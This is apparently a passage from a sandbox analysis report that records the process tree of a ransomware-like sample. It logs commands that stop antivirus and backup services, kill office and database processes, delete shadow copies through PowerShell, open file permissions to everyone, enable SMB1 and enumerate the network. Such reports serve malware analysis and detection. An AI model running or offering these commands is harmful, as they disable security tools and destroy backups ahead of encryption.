  "net.exe" stop DefWatch /y
  2⤵
  PID:2444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:3520
- C:\Windows\system32\net.exe
  "net.exe" stop EPUpdateService /y
  2⤵
  PID:2516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EPUpdateService /y
    3⤵
    PID:3428
- C:\Windows\system32\net.exe
  "net.exe" stop ntrtscan /y
  2⤵
  PID:2548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ntrtscan /y
    3⤵
    PID:3504
- C:\Windows\system32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:3608
- C:\Windows\system32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:3480
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:2472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$TPSAMA /y
  2⤵
  PID:2648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
    3⤵
    PID:3528
- C:\Windows\system32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:3536
- C:\Windows\system32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:3488
- C:\Windows\system32\net.exe
  "net.exe" stop SDRSVC /y
  2⤵
  PID:2600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SDRSVC /y
    3⤵
    PID:3496
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:2704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:3580
- C:\Windows\system32\net.exe
  "net.exe" stop EsgShKernel /y
  2⤵
  PID:2732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EsgShKernel /y
    3⤵
    PID:3456
- C:\Windows\system32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2720
- C:\Windows\system32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:3552
- C:\Windows\system32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3596
- C:\Windows\system32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3440
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:2880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3664
- C:\Windows\system32\net.exe
  "net.exe" stop ESHASRV /y
  2⤵
  PID:2908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ESHASRV /y
    3⤵
    PID:3648
- C:\Windows\system32\net.exe
  "net.exe" stop FA_Scheduler /y
  2⤵
  PID:2840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop FA_Scheduler /y
    3⤵
    PID:3640
- C:\Windows\system32\net.exe
  "net.exe" stop EPSecurityService /y
  2⤵
  PID:2348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EPSecurityService /y
    3⤵
    PID:3656
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:4144
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:2976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2⤵
  PID:2016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    3⤵
    PID:4044
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamBackupSvc /y
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamBackupSvc /y
    3⤵
    PID:5460
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  2⤵
  PID:2092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
    3⤵
    PID:5776
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPS /y
  2⤵
  PID:2320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
    3⤵
    PID:5692
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerADHelper /y
  2⤵
  PID:744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper /y
    3⤵
    PID:5816
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamCloudSvc /y
  2⤵
  PID:2248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamCloudSvc /y
    3⤵
    PID:5668
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SOPHOS /y
  2⤵
  PID:3080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SOPHOS /y
    3⤵
    PID:7144
- C:\Windows\system32\net.exe
  "net.exe" stop SQLSERVERAGENT /y
  2⤵
  PID:3256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLSERVERAGENT /y
    3⤵
    PID:3548
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKey /y
  2⤵
  PID:3248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKey /y
    3⤵
    PID:6564
- C:\Windows\system32\net.exe
  "net.exe" stop SQLSafeOLRService /y
  2⤵
  PID:3240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLSafeOLRService /y
    3⤵
    PID:4044
- C:\Windows\system32\net.exe
  "net.exe" stop tmlisten /y
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop tmlisten /y
    3⤵
    PID:6548
- C:\Windows\system32\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:3224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:2708
- C:\Windows\system32\net.exe
  "net.exe" stop TmCCSF /y
  2⤵
  PID:3208
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TmCCSF /y
    3⤵
    PID:6756
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:3188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:2756
- C:\Windows\system32\net.exe
  "net.exe" stop swi_update_64 /y
  2⤵
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_update_64 /y
    3⤵
    PID:6620
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:3164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:620
- C:\Windows\system32\net.exe
  "net.exe" stop swi_update /y
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_update /y
    3⤵
    PID:6604
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKeyScheduler /y
  2⤵
  PID:3356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKeyScheduler /y
    3⤵
    PID:6740
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$TPSAMA /y
  2⤵
  PID:3140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$TPSAMA /y
    3⤵
    PID:5940
- C:\Windows\system32\net.exe
  "net.exe" stop swi_service /y
  2⤵
  PID:3128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_service /y
    3⤵
    PID:6596
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$TPS /y
  2⤵
  PID:3120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$TPS /y
    3⤵
    PID:5964
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3104
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeEngineService /y
  2⤵
  PID:3844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeEngineService /y
    3⤵
    PID:272
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:4004
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamHvIntegrationSvc /y
  2⤵
  PID:3884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
    3⤵
    PID:3712
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:3868
- C:\Windows\system32\net.exe
  "net.exe" stop SQLTELEMETRY /y
  2⤵
  PID:3860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY /y
    3⤵
    PID:2008
- C:\Windows\system32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:3852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2700
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKeyServiceHelper /y
  2⤵
  PID:3932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
    3⤵
    PID:3100
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2132
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5292
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:3144
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:6632
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:3324
- C:\Windows\system32\net.exe
  "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  2⤵
  PID:4100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y
    3⤵
    PID:6628
- C:\Windows\system32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:4108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3776
- C:\Windows\system32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2500
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2336
- C:\Windows\system32\net.exe
  "net.exe" stop WRSVC /y
  2⤵
  PID:4220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WRSVC /y
    3⤵
    PID:6432
- C:\Windows\system32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2484
- C:\Windows\system32\arp.exe
  "arp" -a
  2⤵
  PID:4184
- C:\Windows\system32\net.exe
  "net.exe" stop POP3Svc /y
  2⤵
  PID:4352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop POP3Svc /y
    3⤵
    PID:2984
- C:\Windows\system32\net.exe
  "net.exe" stop “Symantec System Recovery” /y
  2⤵
  PID:4476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Symantec System Recovery” /y
    3⤵
    PID:5328
- C:\Windows\system32\net.exe
  "net.exe" stop “SQLsafe Filter Service” /y
  2⤵
  PID:4624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQLsafe Filter Service” /y
    3⤵
    PID:6500
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Safestore Service” /y
  2⤵
  PID:4648
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
    3⤵
    PID:908
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:4656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2960
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PRACTICEMGT /y
  2⤵
  PID:4668
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
    3⤵
    PID:3244
- C:\Windows\system32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:3760
- C:\Windows\system32\net.exe
  "net.exe" stop AVP /y
  2⤵
  PID:4820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AVP /y
    3⤵
    PID:5876
- C:\Windows\system32\net.exe
  "net.exe" stop vapiendpoint /y
  2⤵
  PID:4860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop vapiendpoint /y
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  "net.exe" stop mssql$vim_sqlexp /y
  2⤵
  PID:4852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mssql$vim_sqlexp /y
    3⤵
    PID:5824
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$SYSTEM_BGC /y
  2⤵
  PID:4908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
    3⤵
    PID:5684
- C:\Windows\system32\net.exe
  "net.exe" stop W3Svc /y
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop W3Svc /y
    3⤵
    PID:2456
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Health Service” /y
  2⤵
  PID:4932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Health Service” /y
    3⤵
    PID:3016
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:5112
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
  2⤵
  PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  PID:5280
- C:\Windows\system32\icacls.exe
  "icacls" "C:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5292
- C:\Windows\system32\icacls.exe
  "icacls" "D:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5308
- C:\Windows\system32\icacls.exe
  "icacls" "Z:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5300
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  PID:5272
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  PID:5264
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  PID:5256
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  PID:5248
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c net view
  2⤵
  PID:5240
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:6644
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  PID:5232
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:5208
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  PID:5192
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:5184
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5176
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  PID:5168
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5152
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5144
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  PID:5136
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5128
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:524
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:288
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  PID:2284
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:320
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3832
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3700
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  PID:3692
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3708
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:3628
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  PID:3576
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5096
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  PID:5088
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5080
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  PID:5056
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5048
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  PID:5040
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5032
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:5024
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  PID:5008
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  PID:4992
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4984
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  PID:4976
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:4960
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:3112
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeSRS /y
  2⤵
  PID:4924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSRS /y
    3⤵
    PID:5280
- C:\Windows\system32\net.exe
  "net.exe" stop “Veeam Backup Catalog Data Service” /y
  2⤵
  PID:4900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
    3⤵
    PID:6336
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$TPS /y
  2⤵
  PID:4892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$TPS /y
    3⤵
    PID:2652
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos File Scanner Service” /y
  2⤵
  PID:4884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
    3⤵
    PID:2640
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeSA /y
  2⤵
  PID:4876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSA /y
    3⤵
    PID:2184
- C:\Windows\system32\net.exe
  "net.exe" stop UI0Detect /y
  2⤵
  PID:4868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop UI0Detect /y
    3⤵
    PID:3212
- C:\Windows\system32\net.exe
  "net.exe" stop DCAgent /y
  2⤵
  PID:4844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DCAgent /y
    3⤵
    PID:5404
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:4836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    3⤵
    PID:6392
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:4828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:6248
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:4812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    3⤵
    PID:3356
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /
  2⤵
  PID:4804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
    3⤵
    PID:2276
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:6624
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Message Router” /y
  2⤵
  PID:4788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Message Router” /y
    3⤵
    PID:6328
- C:\Windows\system32\net.exe
  "net.exe" stop unistoresvc_1af40a /y
  2⤵
  PID:4780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop unistoresvc_1af40a /y
    3⤵
    PID:3132
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$BKUPEXEC /y
  2⤵
  PID:4772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
    3⤵
    PID:5288
- C:\Windows\system32\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:4764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:5356
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos MCS Client” /y
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos MCS Client” /y
    3⤵
    PID:5380
- C:\Windows\system32\net.exe
  "net.exe" stop Antivirus /y
  2⤵
  PID:4748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Antivirus /y
    3⤵
    PID:6596
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  2⤵
  PID:4740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
    3⤵
    PID:6080
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:4732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:3252
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PROD /y
  2⤵
  PID:4716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PROD /y
    3⤵
    PID:7144
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:4708
- - C:\Windows\system32\net1.exe
